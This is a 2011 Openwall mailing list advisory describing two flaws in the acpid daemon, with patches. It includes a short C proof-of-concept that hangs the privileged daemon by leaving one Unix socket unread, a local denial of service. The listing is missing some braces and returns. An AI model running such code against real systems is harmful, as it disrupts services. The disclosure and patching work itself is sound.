Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Wed, 19 Jan 2011 15:03:07 +0300
From: Vasiliy Kulikov <>
Subject: 2 acpid flaws

I. Blocking write.

I.1. Description.

acpid informs unprivileged processes about acpi events via UNIX socket.
This socket is in blocking mode.  If unprivileged process stops reading
data from the socket then, in some time, the socket queue fills up
leading to hanging privileged acpid daemon.  The daemon hangs until the
socket peer process reads some portion of the queued data or the peer
process exits/is killed.

On Linux 2.6.35 the queue fills up after 208 acpi events.  On the
testing laptop one "BATTERY" event is emitted every 2-3 minutes, it is
equivalent of 6-10 hours before triggering the hanging.

I.2. Exploit.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <errno.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>

/* Tested on acpid-1.0.10 (Ubuntu 10.04) */

int ud_connect(const char *name)
	int fd;
	int r;
	struct sockaddr_un addr;

	fd = socket(AF_UNIX, SOCK_STREAM, 0);
	if (fd < 0) {
		return fd;

	memset(&addr, 0, sizeof(addr));
	addr.sun_family = AF_UNIX;
	sprintf(addr.sun_path, "%s", name);

	r = connect(fd, (struct sockaddr *)&addr, sizeof(addr));
	if (r < 0) {
		return r;

	return fd;

int main(int argc, char *argv[])
	int fd;
	char c;

	if (argc != 2) {
		fprintf(stderr, "Usage: prog fname\n");

	fd = ud_connect(argv[1]);
	if (fd < 0)
	printf("\"Hanging\" socket opened, fd = %d\n", fd);

	fd = ud_connect(argv[1]);
	if (fd < 0)
	printf("Normal socket opened, fd = %d\n", fd);

	while (1) {
		static int n;
		read(fd, &c, 1);
		if (c == '\n') {
			printf("%d messages in queue\n", ++n);

I.3. Possible patch.

--- a/acpid.c
+++ b/acpid.c
@@ -307,6 +307,7 @@
                        fcntl(cli_fd, F_SETFD, FD_CLOEXEC);
+                       fcntl(cli_fd, F_SETFL, O_NONBLOCK);
                        snprintf(buf, sizeof(buf)-1, "%d[%d:%d]",
                      , creds.uid, creds.gid);
                        acpid_add_client(cli_fd, buf);

II. Incorrect accept(2) error handling.

II.1. Description.

acpid doesn't gracefully handle client disconnection before the call to
accept(2).  If client calls close(2) between acpid calls poll(2) and
accept(2), acpid would hang in accept(2) until new client connects to

This is only theoretical flaw as with current Linux kernel
implementation accept(2) would return new socket handler even if the
peer is closed.  However this behavior is implementation specific and
may be changed in future versions of kernels (or custom versions).

II.2. Exploit.

None known.

II.3. Possible patch.

--- a/acpid.c
+++ b/acpid.c
@@ -136,6 +136,7 @@
                fcntl(sock_fd, F_SETFD, FD_CLOEXEC);
+               fcntl(sock_fd, F_SETFL, O_NONBLOCK);
                chmod(socketfile, socketmode);
                if (socketgroup) {
                        struct group *gr;

P.S. Ideally fcntl()s' return codes should be cheched, but in this case
all other fcntl/chmod/getsockopt/etc. calls should be checked too.  Such
a massive rework is probably not related to the subject.




Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.